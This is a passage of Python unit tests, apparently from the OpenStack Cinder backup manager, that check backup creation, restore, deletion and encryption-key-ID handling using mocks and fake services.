@mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open') @mock.patch.object(os.path, 'isdir', return_value=True) def test_create_backup_set_parent_id(self, mock_isdir, mock_open, mock_chown, mock_backup_device, mock_brick): vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size) backup = self._create_backup_db_entry(volume_id=vol_id) parent_backup = self._create_backup_db_entry(size=vol_size) with mock.patch.object(self.backup_mgr, 'service') as \ mock_service: mock_service.return_value.backup.return_value = ( {'parent_id': parent_backup.id}) with mock.patch.object(self.backup_mgr, '_detach_device'): device_path = '/fake/disk/path/' attach_info = {'device': {'path': device_path}} mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = attach_info properties = {} mock_brick.return_value = properties mock_open.return_value = open('/dev/null', 'rb') mock_brick.return_value = properties self.backup_mgr.create_backup(self.ctxt, backup) self.backup_mgr.continue_backup(self.ctxt, backup, mock_backup_device) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup.status) self.assertEqual(vol_size, backup.size) self.assertEqual(parent_backup.id, backup.parent_id) @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open') @mock.patch.object(os.path, 'isdir', return_value=True) def test_create_backup_fail_with_excep(self, mock_isdir, mock_open, mock_chown, mock_backup_device, mock_brick): vol_id = self._create_volume_db_entry() backup = self._create_backup_db_entry(volume_id=vol_id) # These are set in create_backup, but we are calling # continue_backup self.ctxt.message_resource_id = backup.id self.ctxt.message_resource_type = message_field.Resource.VOLUME_BACKUP self.ctxt.message_action = message_field.Action.BACKUP_CREATE with mock.patch.object(self.backup_mgr, 'service') as \ mock_service: mock_service.return_value.backup.side_effect = ( FakeBackupException('fake')) with mock.patch.object(self.backup_mgr, '_detach_device'): device_path = '/fake/disk/path/' attach_info = {'device': {'path': device_path}} mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = attach_info properties = {} mock_brick.return_value = properties mock_open.return_value = open('/dev/null', 'rb') mock_brick.return_value = properties self.assertRaises(FakeBackupException, self.backup_mgr.continue_backup, self.ctxt, backup, mock_backup_device) vol = db.volume_get(self.ctxt, vol_id) self.assertEqual('available', vol.status) self.assertEqual('error_backing-up', vol.previous_status) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.ERROR, backup.status) @mock.patch('cinder.backup.manager.BackupManager._finish_backup') @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open') @mock.patch.object(os.path, 'isdir', return_value=True) def test_run_backup_with_dir_device_path(self, mock_isdir, mock_open, mock_chown, mock_backup_device, mock_brick, mock_finish): backup_service = mock.Mock() backup_service.backup = mock.Mock( return_value=mock.sentinel.backup_update) self.backup_mgr.service = lambda x: backup_service vol_id = self._create_volume_db_entry() backup = self._create_backup_db_entry(volume_id=vol_id) volume = objects.Volume.get_by_id(self.ctxt, vol_id) # device_path is represented by a directory device_path = '/fake/disk/path/' attach_info = {'device': {'path': device_path}} self.backup_mgr._attach_device = mock.Mock( return_value=attach_info) self.backup_mgr._detach_device = mock.Mock() self.backup_mgr.continue_backup(self.ctxt, backup, mock_backup_device) mock_chown.assert_not_called() mock_open.assert_not_called() backup_service.backup.assert_called_once_with( backup, device_path) mock_finish.called_once_with(self.ctxt, backup, volume, mock.sentinel.backup_update) @mock.patch('cinder.backup.manager.BackupManager._start_backup') @ddt.data((fields.SnapshotStatus.BACKING_UP, 'available'), (fields.SnapshotStatus.BACKING_UP, 'in-use'), (fields.SnapshotStatus.AVAILABLE, 'available'), (fields.SnapshotStatus.AVAILABLE, 'in-use')) @ddt.unpack def test_create_backup_with_snapshot(self, snapshot_status, volume_status, mock_start_backup): vol_id = self._create_volume_db_entry(status=volume_status) snapshot = self._create_snapshot_db_entry(volume_id=vol_id, status=snapshot_status) backup = self._create_backup_db_entry(volume_id=vol_id, snapshot_id=snapshot.id) if snapshot_status == fields.SnapshotStatus.BACKING_UP: self.backup_mgr.create_backup(self.ctxt, backup) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.backup_mgr._finish_backup(self.ctxt, backup, vol, {}) vol = objects.Volume.get_by_id(self.ctxt, vol_id) snapshot = objects.Snapshot.get_by_id(self.ctxt, snapshot.id) self.assertEqual(volume_status, vol.status) self.assertEqual(fields.SnapshotStatus.AVAILABLE, snapshot.status) else: self.assertRaises(exception.InvalidSnapshot, self.backup_mgr.create_backup, self.ctxt, backup) @mock.patch('cinder.volume.rpcapi.VolumeAPI.remove_export_snapshot') @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open') @mock.patch.object(os.path, 'isdir', return_value=False) def test_create_backup_with_temp_snapshot(self, mock_isdir, mock_open, mock_temporary_chown, mock_get_backup_device, mock_get_conn, mock_remove_export_snapshot): """Test backup in-use volume using temp snapshot.""" self.override_config('backup_use_same_host', True) vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size, previous_status='in-use') backup = self._create_backup_db_entry(volume_id=vol_id) snap = self._create_snapshot_db_entry(volume_id=vol_id) vol = objects.Volume.get_by_id(self.ctxt, vol_id) mock_backup_device = ( objects.BackupDeviceInfo.from_primitive({ 'backup_device': snap, 'secure_enabled': False, 'is_snapshot': True, }, self.ctxt, expected_attrs=['metadata'])) attach_info = { 'device': {'path': '/dev/null'}, 'conn': {'data': {}}, 'connector': fake_connectors.FakeConnector(None)} mock_terminate_connection_snapshot = self.mock_object( volume_rpcapi.VolumeAPI, 'terminate_connection_snapshot') mock_initialize_connection_snapshot = self.mock_object( volume_rpcapi.VolumeAPI, 'initialize_connection_snapshot') mock_connect_device = self.mock_object( manager.BackupManager, '_connect_device') mock_connect_device.return_value = attach_info properties = {} mock_get_conn.return_value = properties mock_open.return_value = open('/dev/null', 'rb') self.backup_mgr.create_backup(self.ctxt, backup) self.backup_mgr.continue_backup(self.ctxt, backup, mock_backup_device) mock_temporary_chown.assert_called_once_with('/dev/null') mock_initialize_connection_snapshot.assert_called_once_with( self.ctxt, snap, properties) mock_get_backup_device.assert_called_once_with(self.ctxt, backup, vol) mock_get_conn.assert_called_once_with() mock_terminate_connection_snapshot.assert_called_once_with( self.ctxt, snap, properties, force=True) mock_remove_export_snapshot.assert_called_once_with( self.ctxt, mock.ANY, sync=True) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.assertEqual('in-use', vol['status']) self.assertEqual('backing-up', vol['previous_status']) backup = objects.Backup.get_by_id(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup.status) self.assertEqual(vol_size, backup.size) @mock.patch.object(fake_driver.FakeLoggingVolumeDriver, 'create_snapshot') def test_create_temp_snapshot(self, mock_create_snapshot): volume_manager = importutils.import_object(CONF.volume_manager) volume_manager.driver.set_initialized() vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size, previous_status='in-use') vol = objects.Volume.get_by_id(self.ctxt, vol_id) mock_create_snapshot.return_value = {'provider_id': 'fake_provider_id'} temp_snap = volume_manager.driver._create_temp_snapshot( self.ctxt, vol) self.assertEqual('available', temp_snap['status']) self.assertEqual('fake_provider_id', temp_snap['provider_id']) @mock.patch.object(fake_driver.FakeLoggingVolumeDriver, 'create_cloned_volume') def test_create_temp_cloned_volume(self, mock_create_cloned_volume): volume_manager = importutils.import_object(CONF.volume_manager) volume_manager.driver.set_initialized() vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size, previous_status='in-use') vol = objects.Volume.get_by_id(self.ctxt, vol_id) mock_create_cloned_volume.return_value = {'provider_id': 'fake_provider_id'} temp_vol = volume_manager.driver._create_temp_cloned_volume( self.ctxt, vol) self.assertEqual('available', temp_vol['status']) self.assertEqual('fake_provider_id', temp_vol['provider_id']) @mock.patch.object(fake_driver.FakeLoggingVolumeDriver, 'create_volume_from_snapshot') def test_create_temp_volume_from_snapshot(self, mock_create_vol_from_snap): volume_manager = importutils.import_object(CONF.volume_manager) volume_manager.driver.set_initialized() vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size, previous_status='in-use') vol = objects.Volume.get_by_id(self.ctxt, vol_id) snap = self._create_snapshot_db_entry(volume_id=vol_id) mock_create_vol_from_snap.return_value = {'provider_id': 'fake_provider_id'} temp_vol = volume_manager.driver._create_temp_volume_from_snapshot( self.ctxt, vol, snap) self.assertEqual('available', temp_vol['status']) self.assertEqual('fake_provider_id', temp_vol['provider_id']) @mock.patch('cinder.volume.volume_utils.notify_about_backup_usage') def test_create_backup_with_notify(self, notify): """Test normal backup creation with notifications.""" vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size) backup = self._create_backup_db_entry(volume_id=vol_id) self.mock_object(self.backup_mgr, '_start_backup') self.backup_mgr.create_backup(self.ctxt, backup) self.assertEqual(1, notify.call_count) @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.volume.volume_utils.clone_encryption_key') @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') def test_create_backup_encrypted_volume(self, mock_connector_properties, mock_clone_encryption_key, mock_get_backup_device): """Test backup of encrypted volume. Test whether the volume's encryption key ID is cloned and saved in the backup. """ vol_id = self._create_volume_db_entry(encryption_key_id=fake.UUID1) backup = self._create_backup_db_entry(volume_id=vol_id) self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = {'device': {'path': '/dev/null'}} mock_clone_encryption_key.return_value = fake.UUID2 self.backup_mgr.create_backup(self.ctxt, backup) mock_clone_encryption_key.assert_called_once_with(self.ctxt, mock.ANY, fake.UUID1) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fake.UUID2, backup.encryption_key_id) @mock.patch('cinder.volume.rpcapi.VolumeAPI.get_backup_device') @mock.patch('cinder.volume.volume_utils.clone_encryption_key') @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') def test_create_backup_encrypted_volume_again(self, mock_connector_properties, mock_clone_encryption_key, mock_get_backup_device): """Test backup of encrypted volume. Test when the backup already has a clone of the volume's encryption key ID. """ vol_id = self._create_volume_db_entry(encryption_key_id=fake.UUID1) backup = self._create_backup_db_entry(volume_id=vol_id, encryption_key_id=fake.UUID2) self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = {'device': {'path': '/dev/null'}} self.backup_mgr.create_backup(self.ctxt, backup) mock_clone_encryption_key.assert_not_called() def test_restore_backup_with_bad_volume_status(self): """Test error handling. Test error handling when restoring a backup to a volume with a bad status. """ vol_id = self._create_volume_db_entry(status='available', size=1) backup = self._create_backup_db_entry(volume_id=vol_id) self.assertRaises(exception.InvalidVolume, self.backup_mgr.restore_backup, self.ctxt, backup, vol_id) backup = db.backup_get(self.ctxt, backup.id) vol = db.volume_get(self.ctxt, vol_id) self.assertEqual('error_restoring', vol['status']) self.assertEqual(fields.BackupStatus.AVAILABLE, backup['status']) def test_restore_backup_with_bad_backup_status(self): """Test error handling. Test error handling when restoring a backup with a backup with a bad status. """ vol_id = self._create_volume_db_entry(status='restoring-backup', size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.AVAILABLE, volume_id=vol_id) self.assertRaises(exception.InvalidBackup, self.backup_mgr.restore_backup, self.ctxt, backup, vol_id) vol = db.volume_get(self.ctxt, vol_id) self.assertEqual('error', vol['status']) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.ERROR, backup['status']) def test_restore_backup_with_driver_error(self): """Test error handling when an error occurs during backup restore.""" vol_id = self._create_volume_db_entry(status='restoring-backup', size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id) mock_run_restore = self.mock_object( self.backup_mgr, '_run_restore') mock_run_restore.side_effect = FakeBackupException('fake') self.assertRaises(FakeBackupException, self.backup_mgr.restore_backup, self.ctxt, backup, vol_id) vol = db.volume_get(self.ctxt, vol_id) self.assertEqual('error_restoring', vol['status']) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup['status']) self.assertTrue(mock_run_restore.called) def test_restore_backup_with_driver_cancellation(self): """Test error handling when a restore is cancelled.""" vol_id = self._create_volume_db_entry(status='restoring-backup', size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id) mock_run_restore = self.mock_object( self.backup_mgr, '_run_restore') mock_run_restore.side_effect = exception.BackupRestoreCancel( vol_id=vol_id, back_id=backup.id) # We shouldn't raise an exception on the call, it's OK to cancel self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.assertEqual('error', vol.status) backup.refresh() self.assertEqual(fields.BackupStatus.AVAILABLE, backup.status) self.assertTrue(mock_run_restore.called) def test_restore_backup_with_creating_volume(self): """Test restore backup with a creating volume.""" vol_id = self._create_volume_db_entry( status=fields.VolumeStatus.CREATING, size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id) mock_run_restore = self.mock_object( self.backup_mgr, '_run_restore') self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.assertEqual(fields.VolumeStatus.AVAILABLE, vol.status) self.assertIsNotNone(vol.launched_at) backup.refresh() self.assertEqual(fields.BackupStatus.AVAILABLE, backup.status) self.assertTrue(mock_run_restore.called) def test_restore_backup_canceled_with_creating_volume(self): """Test restore backup with a creating volume.""" vol_id = self._create_volume_db_entry( status=fields.VolumeStatus.CREATING, size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id) mock_run_restore = self.mock_object( self.backup_mgr, '_run_restore') mock_run_restore.side_effect = exception.BackupRestoreCancel( vol_id=vol_id, back_id=backup.id) # We shouldn't raise an exception on the call, it's OK to cancel self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.assertEqual(fields.VolumeStatus.ERROR, vol.status) backup.refresh() self.assertEqual(fields.BackupStatus.AVAILABLE, backup.status) self.assertTrue(mock_run_restore.called) def test_restore_backup_with_bad_service(self): """Test error handling. Test error handling when attempting a restore of a backup with a different service to that used to create the backup. """ vol_id = self._create_volume_db_entry(status='restoring-backup', size=1) service = 'cinder.tests.backup.bad_service' backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id, service=service) self.assertRaises(exception.InvalidBackup, self.backup_mgr.restore_backup, self.ctxt, backup, vol_id) vol = db.volume_get(self.ctxt, vol_id) self.assertEqual('error', vol['status']) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup['status']) @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open', wraps=open) @mock.patch.object(os.path, 'isdir', return_value=False) @ddt.data({'os_name': 'nt', 'exp_open_mode': 'rb+'}, {'os_name': 'posix', 'exp_open_mode': 'wb'}) @ddt.unpack def test_restore_backup(self, mock_isdir, mock_open, mock_temporary_chown, mock_get_conn, os_name, exp_open_mode): """Test normal backup restoration.""" vol_size = 1 vol_id = self._create_volume_db_entry(status='restoring-backup', size=vol_size) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id) properties = {} mock_get_conn.return_value = properties mock_secure_enabled = ( self.volume_mocks['secure_file_operations_enabled']) mock_secure_enabled.return_value = False vol = objects.Volume.get_by_id(self.ctxt, vol_id) attach_info = {'device': {'path': '/dev/null'}} mock_detach_device = self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = attach_info with mock.patch('os.name', os_name): self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) mock_open.assert_called_once_with('/dev/null', exp_open_mode) mock_temporary_chown.assert_called_once_with('/dev/null') mock_get_conn.assert_called_once_with() vol.status = 'available' vol.obj_reset_changes() mock_secure_enabled.assert_called_once_with(self.ctxt, vol) mock_attach_device.assert_called_once_with(self.ctxt, vol, properties) mock_detach_device.assert_called_once_with(self.ctxt, attach_info, vol, properties, force=True) vol = objects.Volume.get_by_id(self.ctxt, vol_id) self.assertEqual('available', vol['status']) backup = db.backup_get(self.ctxt, backup.id) self.assertNotEqual(backup.id, vol.metadata.get('src_backup_id')) self.assertEqual(fields.BackupStatus.AVAILABLE, backup['status']) @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') @mock.patch('cinder.utils.temporary_chown') @mock.patch('builtins.open', wraps=open) @mock.patch.object(os.path, 'isdir', return_value=False) @ddt.data({'os_name': 'nt', 'exp_open_mode': 'rb+'}, {'os_name': 'posix', 'exp_open_mode': 'wb'}) @ddt.unpack def test_restore_backup_new_volume(self, mock_isdir, mock_open, mock_temporary_chown, mock_get_conn, os_name, exp_open_mode): """Test normal backup restoration.""" vol_size = 1 vol_id = self._create_volume_db_entry( status='restoring-backup', size=vol_size) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id) vol2_id = self._create_volume_db_entry( status='restoring-backup', size=vol_size) backup2 = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol2_id) vol2 = objects.Volume.get_by_id(self.ctxt, vol2_id) properties = {} mock_get_conn.return_value = properties mock_secure_enabled = ( self.volume_mocks['secure_file_operations_enabled']) mock_secure_enabled.return_value = False new_vol_id = self._create_volume_db_entry( status='restoring-backup', size=vol_size) vol = objects.Volume.get_by_id(self.ctxt, new_vol_id) attach_info = {'device': {'path': '/dev/null'}} mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device.return_value = attach_info with mock.patch('os.name', os_name): self.backup_mgr.restore_backup(self.ctxt, backup, new_vol_id) backup.status = "restoring" db.backup_update(self.ctxt, backup.id, {"status": "restoring"}) vol.status = 'available' vol.obj_reset_changes() with mock.patch('os.name', os_name): self.backup_mgr.restore_backup(self.ctxt, backup, vol2_id) vol2.refresh() old_src_backup_id = vol2.metadata["src_backup_id"] self.assertEqual(backup.id, old_src_backup_id) vol2.status = 'restoring-backup' db.volume_update(self.ctxt, vol2.id, {"status": "restoring-backup"}) vol2.obj_reset_changes() with mock.patch('os.name', os_name): self.backup_mgr.restore_backup(self.ctxt, backup2, vol2_id) vol2.status = 'available' vol2.obj_reset_changes() vol.refresh() vol2.refresh() self.assertEqual('available', vol.status) backup.refresh() self.assertEqual(backup.id, vol.metadata["src_backup_id"]) self.assertNotEqual(old_src_backup_id, vol2.metadata["src_backup_id"]) self.assertEqual(backup2.id, vol2.metadata["src_backup_id"]) self.assertEqual(fields.BackupStatus.AVAILABLE, backup['status']) @mock.patch('cinder.volume.volume_utils.notify_about_backup_usage') def test_restore_backup_with_notify(self, notify): """Test normal backup restoration with notifications.""" vol_size = 1 vol_id = self._create_volume_db_entry(status='restoring-backup', size=vol_size) backup = self._create_backup_db_entry( status=fields.BackupStatus.RESTORING, volume_id=vol_id) self.backup_mgr._run_restore = mock.Mock() self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) self.assertEqual(2, notify.call_count) @mock.patch('cinder.volume.volume_utils.clone_encryption_key') @mock.patch('cinder.volume.volume_utils.delete_encryption_key') @mock.patch( 'cinder.tests.unit.backup.fake_service.FakeBackupService.restore') @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') def test_restore_backup_encrypted_volume(self, mock_connector_properties, mock_backup_driver_restore, mock_delete_encryption_key, mock_clone_encryption_key): """Test restore of encrypted volume. Test restoring a volume from its own backup. In this situation, the volume's encryption key ID shouldn't change. """ vol_id = self._create_volume_db_entry(status='restoring-backup', encryption_key_id=fake.UUID1) backup = self._create_backup_db_entry( volume_id=vol_id, status=fields.BackupStatus.RESTORING, encryption_key_id=fake.UUID2) self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = {'device': {'path': '/dev/null'}} self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) volume = db.volume_get(self.ctxt, vol_id) self.assertEqual(fake.UUID1, volume.encryption_key_id) mock_clone_encryption_key.assert_not_called() mock_delete_encryption_key.assert_not_called() @mock.patch('cinder.volume.volume_utils.clone_encryption_key') @mock.patch('cinder.volume.volume_utils.delete_encryption_key') @mock.patch( 'cinder.tests.unit.backup.fake_service.FakeBackupService.restore') @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') def test_restore_backup_new_encrypted_volume(self, mock_connector_properties, mock_backup_driver_restore, mock_delete_encryption_key, mock_clone_encryption_key): """Test restore of encrypted volume. Test handling of encryption key IDs when retoring to another encrypted volume, i.e. a volume whose key ID is different from the volume originally backed up. - The volume's prior encryption key ID is deleted. - The volume is assigned a fresh clone of the backup's encryption key ID. """ vol_id = self._create_volume_db_entry(status='restoring-backup', encryption_key_id=fake.UUID1) backup = self._create_backup_db_entry( volume_id=vol_id, status=fields.BackupStatus.RESTORING, encryption_key_id=fake.UUID2) self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = {'device': {'path': '/dev/null'}} mock_clone_encryption_key.return_value = fake.UUID3 # Mimic the driver's side effect where it updates the volume's # metadata. For backups of encrypted volumes, this will essentially # overwrite the volume's encryption key ID prior to the restore. def restore_side_effect(backup, volume_id, volume_file): db.volume_update(self.ctxt, volume_id, {'encryption_key_id': fake.UUID4}) mock_backup_driver_restore.side_effect = restore_side_effect self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) # Volume's original encryption key ID should be deleted mock_delete_encryption_key.assert_called_once_with(self.ctxt, mock.ANY, fake.UUID1) # Backup's encryption key ID should have been cloned mock_clone_encryption_key.assert_called_once_with(self.ctxt, mock.ANY, fake.UUID2) # Volume should have the cloned backup key ID volume = db.volume_get(self.ctxt, vol_id) self.assertEqual(fake.UUID3, volume.encryption_key_id) # Backup's key ID should not have changed backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fake.UUID2, backup.encryption_key_id) @mock.patch('cinder.volume.volume_utils.clone_encryption_key') @mock.patch('cinder.volume.volume_utils.delete_encryption_key') @mock.patch( 'cinder.tests.unit.backup.fake_service.FakeBackupService.restore') @mock.patch('cinder.volume.volume_utils.brick_get_connector_properties') def test_restore_backup_glean_key_id(self, mock_connector_properties, mock_backup_driver_restore, mock_delete_encryption_key, mock_clone_encryption_key): """Test restore of encrypted volume. Test restoring a backup that was created prior to when the encryption key ID is saved in the backup DB. The backup encryption key ID is gleaned from the restored volume. """ vol_id = self._create_volume_db_entry(status='restoring-backup', encryption_key_id=fake.UUID1) backup = self._create_backup_db_entry( volume_id=vol_id, status=fields.BackupStatus.RESTORING) self.mock_object(self.backup_mgr, '_detach_device') mock_attach_device = self.mock_object(self.backup_mgr, '_attach_device') mock_attach_device.return_value = {'device': {'path': '/dev/null'}} mock_clone_encryption_key.return_value = fake.UUID3 # Mimic the driver's side effect where it updates the volume's # metadata. For backups of encrypted volumes, this will essentially # overwrite the volume's encryption key ID prior to the restore. def restore_side_effect(backup, volume_id, volume_file): db.volume_update(self.ctxt, volume_id, {'encryption_key_id': fake.UUID4}) mock_backup_driver_restore.side_effect = restore_side_effect self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) # Volume's original encryption key ID should be deleted mock_delete_encryption_key.assert_called_once_with(self.ctxt, mock.ANY, fake.UUID1) # Backup's encryption key ID should have been cloned from # the value restored from the metadata. mock_clone_encryption_key.assert_called_once_with(self.ctxt, mock.ANY, fake.UUID4) # Volume should have the cloned backup key ID volume = db.volume_get(self.ctxt, vol_id) self.assertEqual(fake.UUID3, volume.encryption_key_id) # Backup's key ID should have been gleaned from value restored # from the backup's metadata backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fake.UUID4, backup.encryption_key_id) def test_delete_backup_with_bad_backup_status(self): """Test error handling. Test error handling when deleting a backup with a backup with a bad status. """ vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.AVAILABLE, volume_id=vol_id) self.assertRaises(exception.InvalidBackup, self.backup_mgr.delete_backup, self.ctxt, backup) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.ERROR, backup['status']) def test_delete_backup_with_error(self): """Test error handling when an error occurs during backup deletion.""" vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, display_name='fail_on_delete', volume_id=vol_id) self.assertRaises(IOError, self.backup_mgr.delete_backup, self.ctxt, backup) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.ERROR, backup['status']) def test_delete_backup_with_bad_service(self): """Test error handling. Test error handling when attempting a delete of a backup with a different service to that used to create the backup. """ vol_id = self._create_volume_db_entry(size=1) service = 'cinder.tests.backup.bad_service' backup = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, volume_id=vol_id, service=service) self.assertRaises(exception.InvalidBackup, self.backup_mgr.delete_backup, self.ctxt, backup) backup = db.backup_get(self.ctxt, backup.id) self.assertEqual(fields.BackupStatus.ERROR, backup['status']) def test_delete_backup_with_no_service(self): """Test error handling. Test error handling when attempting a delete of a backup with no service defined for that backup, relates to bug #1162908 """ vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, volume_id=vol_id) backup.service = None backup.save() self.backup_mgr.delete_backup(self.ctxt, backup) def test_delete_backup(self): """Test normal backup deletion.""" vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, volume_id=vol_id, service='cinder.tests.unit.backup.fake_service.FakeBackupService') self.backup_mgr.delete_backup(self.ctxt, backup) self.assertRaises(exception.BackupNotFound, db.backup_get, self.ctxt, backup.id) ctxt_read_deleted = context.get_admin_context('yes') backup = db.backup_get(ctxt_read_deleted, backup.id) self.assertTrue(backup.deleted) self.assertGreaterEqual(timeutils.utcnow(), backup.deleted_at) self.assertEqual(fields.BackupStatus.DELETED, backup.status) @mock.patch('cinder.volume.volume_utils.delete_encryption_key') def test_delete_backup_of_encrypted_volume(self, mock_delete_encryption_key): """Test deletion of backup of encrypted volume""" vol_id = self._create_volume_db_entry( encryption_key_id=fake.UUID1) backup = self._create_backup_db_entry( volume_id=vol_id, status=fields.BackupStatus.DELETING, encryption_key_id=fake.UUID2) self.backup_mgr.delete_backup(self.ctxt, backup) mock_delete_encryption_key.assert_called_once_with(self.ctxt, mock.ANY, fake.UUID2) ctxt_read_deleted = context.get_admin_context('yes') backup = db.backup_get(ctxt_read_deleted, backup.id) self.assertTrue(backup.deleted) self.assertIsNone(backup.encryption_key_id) @mock.patch('cinder.volume.volume_utils.notify_about_backup_usage') def test_delete_backup_with_notify(self, notify): """Test normal backup deletion with notifications.""" vol_id = self._create_volume_db_entry(size=1) backup = self._create_backup_db_entry( status=fields.BackupStatus.DELETING, volume_id=vol_id) self.backup_mgr.delete_backup(self.ctxt, backup) self.assertEqual(2, notify.call_count) def test_list_backup(self): project_id = fake.PROJECT_ID backups = db.backup_get_all_by_project(self.ctxt, project_id) self.assertEqual(0, len(backups)) self._create_backup_db_entry() b2 = self._create_backup_db_entry(project_id=project_id) backups = db.backup_get_all_by_project(self.ctxt, project_id) self.assertEqual(1, len(backups)) self.assertEqual(b2.id, backups[0].id) def test_backup_get_all_by_project_with_deleted(self): """Test deleted backups. Test deleted backups don't show up in backup_get_all_by_project. Unless context.read_deleted is 'yes'. """ project_id = fake.PROJECT2_ID backups = db.backup_get_all_by_project(self.ctxt, project_id) self.assertEqual(0, len(backups)) backup_keep = self._create_backup_db_entry(project_id=project_id) backup = self._create_backup_db_entry(project_id=project_id) db.backup_destroy(self.ctxt, backup.id) backups = db.backup_get_all_by_project(self.ctxt, project_id) self.assertEqual(1, len(backups)) self.assertEqual(backup_keep.id, backups[0].id) ctxt_read_deleted = context.get_admin_context('yes') backups = db.backup_get_all_by_project(ctxt_read_deleted, project_id) self.assertEqual(2, len(backups)) def test_backup_get_all_by_host_with_deleted(self): """Test deleted backups. Test deleted backups don't show up in backup_get_all_by_project. Unless context.read_deleted is 'yes' """ backups = db.backup_get_all_by_host(self.ctxt, 'testhost') self.assertEqual(0, len(backups)) backup_keep = self._create_backup_db_entry() backup = self._create_backup_db_entry() db.backup_destroy(self.ctxt, backup.id) backups = db.backup_get_all_by_host(self.ctxt, 'testhost') self.assertEqual(1, len(backups)) self.assertEqual(backup_keep.id, backups[0].id) ctxt_read_deleted = context.get_admin_context('yes') backups = db.backup_get_all_by_host(ctxt_read_deleted, 'testhost') self.assertEqual(2, len(backups)) def test_export_record_with_bad_service(self): """Test error handling. Test error handling when attempting an export of a backup record with a different service to that used to create the backup. """ vol_id = self._create_volume_db_entry(size=1) service = 'cinder.tests.backup.bad_service' backup = self._create_backup_db_entry( status=fields.BackupStatus.AVAILABLE, volume_id=vol_id, service=service) self.assertRaises(exception.InvalidBackup, self.backup_mgr.export_record, self.ctxt, backup) def test_export_record_with_bad_backup_status(self): """Test error handling. Test error handling when exporting a backup record with a backup with a bad status. """ vol_id = self._create_volume_db_entry(status='available', size=1) 